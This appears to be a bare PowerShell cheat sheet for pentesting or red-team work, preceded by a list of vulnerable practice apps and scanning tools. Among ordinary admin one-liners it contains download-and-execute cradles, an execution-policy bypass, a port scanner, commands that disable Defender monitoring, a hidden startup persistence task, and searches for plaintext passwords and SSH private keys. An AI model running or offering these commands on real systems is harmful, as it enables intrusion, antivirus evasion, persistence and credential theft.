▪️ OWASP Juice Shop
▪️ WebGoat
▪️ Mutillidae
▪️ bWAPP
▪️ DVWA
▪️ Burp Suite
▪️ Nikto
▪️ SQLMap

Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory

Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
Import-Module C:\ActiveDirectory\ActiveDirectory.psd1
Get-Command -Module ActiveDirectory

Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *

Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending

Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}

1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }

Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)

$url = 'http://example.com/script.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)

Set-ExecutionPolicy Bypass -Scope Process -Force; .\script.ps1

# Нужен AD модуль
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate

Get-WMIObject -Class Win32_ComputerSystem -Computer "HOST01" | Select-Object Username

# Нужен AD модуль
Get-ADuser -filter {enabled -eq "True"} -properties LastlogonDate | ? {$_.lastlogondate -le (get-date).adddays(-90)} | ft Name

Get-Process -Name "Notepad" | Stop-Process -Force

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, Publisher, InstallDate

$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }

Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -DisableRealtimeMonitoring $true

$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'

Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive

Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse